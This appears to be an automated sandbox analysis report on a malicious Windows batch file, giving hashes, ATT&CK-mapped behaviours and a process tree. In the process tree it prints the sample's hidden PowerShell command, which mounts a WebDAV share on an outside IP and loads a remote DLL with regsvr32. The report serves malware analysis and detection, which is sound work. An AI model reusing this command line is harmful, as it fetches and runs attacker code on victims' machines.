0a4c083b259dbadd6433c511db2f7cb61312475792c028b64469b4c6b1da8f02

Analysis

max time kernel
136s
max time network
99s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 06:46

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General

Target

2399958533013013977.bat
Size

2KB
MD5

4bc293db651301854de551fc0a84602b
SHA1

0f555e9cad3a3ee87a3be1bb5142514e33de21f7
SHA256

b77b6fc5e6023a7c4e9d72fec66f69041236c7a6d0501b29b847122652174a81
SHA512

04eef81333e94a9c24574b6cf2d49943071c5db2b395ceb95c452b0333ae62adf2e057a9ae6caef9a60f8dce90611bce02d008a51be2d1d7ac45cb09972c1036

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2668	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2668	powershell.exe
2668	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2668	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3436	wordpad.exe
3436	wordpad.exe
3436	wordpad.exe
3436	wordpad.exe
3436	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2564 wrote to memory of 3436	2564	cmd.exe	85
PID 2564 wrote to memory of 3436	2564	cmd.exe	85
PID 2564 wrote to memory of 2668	2564	cmd.exe	87
PID 2564 wrote to memory of 2668	2564	cmd.exe	87
PID 2668 wrote to memory of 4800	2668	powershell.exe	89
PID 2668 wrote to memory of 4800	2668	powershell.exe	89
PID 2668 wrote to memory of 4272	2668	powershell.exe	90
PID 2668 wrote to memory of 4272	2668	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2399958533013013977.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2564
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\11401304018275.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:4800
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\11401304018275.dll
    3⤵
    PID:4272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4phwyh3.hox.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2668-2-0x000001387EB10000-0x000001387EB32000-memory.dmp

Filesize
136KB

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